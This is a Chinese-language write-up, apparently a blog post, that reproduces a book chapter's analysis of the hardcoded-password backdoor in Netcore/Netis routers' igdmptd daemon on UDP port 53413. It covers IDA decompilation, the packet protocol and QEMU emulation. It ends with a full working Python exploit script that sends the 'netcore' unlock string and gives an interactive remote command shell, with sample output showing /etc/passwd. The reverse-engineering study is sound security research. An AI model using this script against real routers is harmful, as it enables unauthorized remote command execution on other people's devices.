《揭秘家用路由器0day漏洞挖掘技术》磊科全系列路由器后门漏洞分析 – 作者:cougar

这里记录一下书中第 14 章 磊科全系列路由器后门漏洞分析的复现过程

这种类型的后门漏洞不同于溢出漏洞,其利用的关键点在于对后门程序的执行流程和通信协议的分析。磊科路由器的这个后门漏洞有执行文件上传和下载、路由器命令及 MPT 命令的功能。

参考链接

固件下载(已提取文件系统)

PoC 脚本

Netcore-igdmptd-后门漏洞分析

C 语言网络编程:bind 函数详解

socket()函数介绍

IDA 常见宏定义

漏洞描述

借用书中的话

image

而且触发这个后门的密码就是netcore

静态分析

所以问题出在IGDMPTD,该程序绑定的端口是53413,查看/etc/services可得到程序与端口绑定的关系

image

找到与IGDMPTD的二进制文件find . -name igdmptd,二进制文件路径:/bin/igdmptd

这里说一下,一开始是在官网下载的固件:NW774-V1.1.29968 升级固件

image

这个固件虽然和书中使用固件的版本号不同,可该二进制文件igdmptd基本与书中相同,但是从网上的一些文章来看,更多的选择的上面参考链接中给的固件

main 函数

IDA 打开二进制文件/bin/igdmptdmain函数很简单

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int sock_fd; // $s1

  fwrite("Create daemon...\r\n", 1u, 0x12u, stderr);
  create_daemon();
  fwrite("Create server...\r\n", 1u, 0x12u, stderr);
  sock_fd = create_server();
  fprintf(stderr, "%s\r\n", "IGD MPT Interface daemon 1.0");
  operate_loop(sock_fd);
}

先是调用create_daemon创建了守护进程,然后在create_server中执行socket()+bind()进行了 socket 通信的初始化,最后进行operate_loop循环处理发来的数据包

create_server 函数

IDA 反编译:

int create_server()
{
  int sock_fd; // $s0
  bool v1; // dc
  int result; // $v0
  struct sockaddr v3; // [sp+18h] [-10h] BYREF

  sock_fd = socket(2, 1, 17);                   // 函数原型: int socket(int domain, int type, int protocol);
                                                // socket(AF_INET, SOCK_STREAM, UDP)
  if ( sock_fd < 0 )
  {
    perror("socket");
    exit(1);
  }
  *(_DWORD *)&v3.sa_data[6] = 0;
  *(_DWORD *)&v3.sa_data[10] = 0;
  v3.sa_family = 2;                             // 用于指定AF_***表示使用什么协议族的ip
                                                // sa_family = 2,即SOCK_DGRAM ,表示UDP连接
                                                //
  *(_WORD *)v3.sa_data = 0xA5D0;                // sa_data 存放ip和端口
                                                // 0xd05a = 53413 端口号
                                                // 0x00 ip, 0 = INADDR_ANY, 监听所有地址(外网加内网)
  *(_DWORD *)&v3.sa_data[2] = 0;
  v1 = bind(sock_fd, &v3, 0x10u) >= 0;          // bind API能够将套接字文件描述符、端口号和ip绑定到一起
  result = sock_fd;
  if ( !v1 )
  {
    perror("bind");
    close(sock_fd);
    exit(1);
  }
  return result;
}

socket()函数原型:

#include<sys/types.h>
#include<sys/socket.h>

int socket(int domain, int type, int protocol);
// 参数domain用于设置网络通信的域,函数socket()根据这个参数选择通信协议的族
// type用于设置套接字通信的类型,主要有SOCKET_STREAM(流式套接字)、SOCK——DGRAM(数据包套接字)等
// protocol用于制定某个协议的特定类型,即type类型中的某个类型

这里socket(AF_INET, SOCK_STREAM, UDP)指使用 IPv4 Internet 协议,然后使用 UDP 协议

bind()函数原型:

#include <sys/types.h>
#include <sys/socket.h>
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

其中比较复杂的是第二个参数对应的结构体sockaddr如下:

struct sockaddr {
   sa_family_t sa_family;
   char        sa_data[14];
}

sa_family用于指定 AF_***表示使用什么协议族的 ip,sa_data存放 ip 和端口

根据上下文,bind(sock_fd, &v3, 0x10u)就是在53413端口监听并处理来自所有IP发来的UDP数据包

相关宏定义:

/* Socket types. */
#define SOCK_STREAM 1       /* stream (connection) socket   */
#define SOCK_DGRAM  2       /* datagram (conn.less) socket  */


# define INADDR_ANY ((unsigned long int) 0x00000000)
...
# define INADDR_NONE    0xffffffff
...
# define INPORT_ANY 0
...

operate_loop 函数(协议分析)

这里先引用书中的伪代码,简洁易懂

image

IDA 里面,operate_loop函数中有一系列do_开头的功能函数

image

从名字来看应该对应了上传文件、下载文件、执行系统命令、执行 mpt 函数、mpt 登陆验证等,也与上面的伪代码一一对应

从漏洞描述中得知netcore是个关键字符串,在 IDA 中Shift+F12打开字符串窗口后搜索netcore,查看交叉引用

image

往上回溯到do_mptlogin,看到这里就很熟悉了,这个函数在operate_loop中被调用来进行身份认证

image

现在我们再来看看 IDA 反汇编代码中的一些关键if else语句

operate_loop 函数精简后的代码

is_login = 0;
while ( 1 )
  {
     do{
        memset(buf, 0, sizeof(buf));              // 将buf置零
        num_of_bytes_received = recvfrom(sock_fd, buf, 1500u, 0, &addr_of_from, &addrlen);
      }
      while ( num_of_bytes_received < 0 );
      if ( is_login ){
         cmdopt = (BYTE2(buf[0]) << 8) | HIBYTE(HIWORD(buf[0]));// 若第三个字节中全为0,则cmdopt的值就是第四个字节中的值
         if ( cmdopt )
         {
            if ( cmdopt == 1 )
            {
               do_getfile();                        // 文件下载(参数已省略)
            }
            else if ( cmdopt == 2 )
            {
               do_putfile();                        // 文件上传(参数已省略)
            }
            else if ( num_of_bytes_received == 8 )
            {
                                                      //返回空内容
            }
            else if ( !strcmp((const char *)&buf[2], "?") )// 命令内容为?
            {
                                                      //返回程序版本信息
            }
            else
            {
               if ( SLOBYTE(buf[2]) == '$' )          // 命令内容第一个字节为$
               {
                  do_mptfun();                        // 执行MPT功能(参数已省略)
               }
               else
               {
                  do_syscmd();                        // 执行系统命令(参数已省略)
               }
            }
         }
         else
         {
            do_mptlogin()                          // 执行登陆操作(参数已省略)
         }
      }
   }

这里的BYTE2 HIBYTE HIWORD是 IDA 中的宏定义

#define BYTEn(x, n)   (*((_BYTE*)&(x)+n))
#define BYTE2(x)   BYTEn(x,  2)

#define HIBYTE(x)   (*((_BYTE*)&(x)+1))
#define HIWORD(x)   (*((_WORD*)&(x)+1))

这样协议的结构就很清晰了,这里引用一下书中对operate_loop函数中协议的分析后得出的数据包结构:

image

发送结束协议:

image

Qemu 环境模拟

先用scp把整个 squashfs 传到系统模式模拟的环境中,然后

cd squashfs-root
chroot . ./bin/igdmptd

即可启动程序,用netstat -an | grep 53413检查,端口已开启

image

现成的攻击脚本,来自h00die

import socket
import argparse
import binascii
'''
Example run:
root@rageKali:/media/veracrypt1/stcyr/git/MSF-Testing-Scripts# python netis_backdoor.py 192.168.1.1
Unlocking Backdoor
Quit to quit loop
Netis> ls /tmp/
AuCVM
XqdHc
bVOQm
br_type
bridge_init
cfg-macclone
checkupfile
ddfile
default_rt
dhcpd_action
file.txt
hzbjo
igd_config.old
jiDOo
log
ntp_tmp
passwd
reg_domain
syslogd_support
tmp.txt
update_main
version
wan_type
workmode
Netis> cat /etc/passwd
root:abSQTPcIskFGc:0:0:root:/:/bin/sh
nobody:x:99:99:Nobody:/:
'''
parser = argparse.ArgumentParser(description='Netis backdoor')
parser.add_argument('IP', help='IP of router to connect to')

args = parser.parse_args()

def send(command, print_response = True):
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   #s.connect((args.IP, 53413))
   s.sendto("AA\x00\x00AAAA%s\x00" %(command), (args.IP, 53413))
   if print_response:
      resp = s.recv(2048)
      resp = resp[8:]
      if binascii.hexlify(resp) == "000000ff":
         print("No response, command not found or error in command")
      else:
         print(resp)

def login():
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   #s.connect((args.IP, 53413))
   s.sendto("AAAAAAAAnetcore\x00", (args.IP, 53413))

print("Unlocking Backdoor")
login()
input = ""
print("Quit to quit loop")
input = raw_input("Netis> ").strip()
while not input.strip().upper() in ["QUIT","EXIT"]:
   send(" " + input)
   input = raw_input("Netis> ").strip()

攻击成功

image

来源:freebuf.com 2021-03-19 21:18:57 by: cougar

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论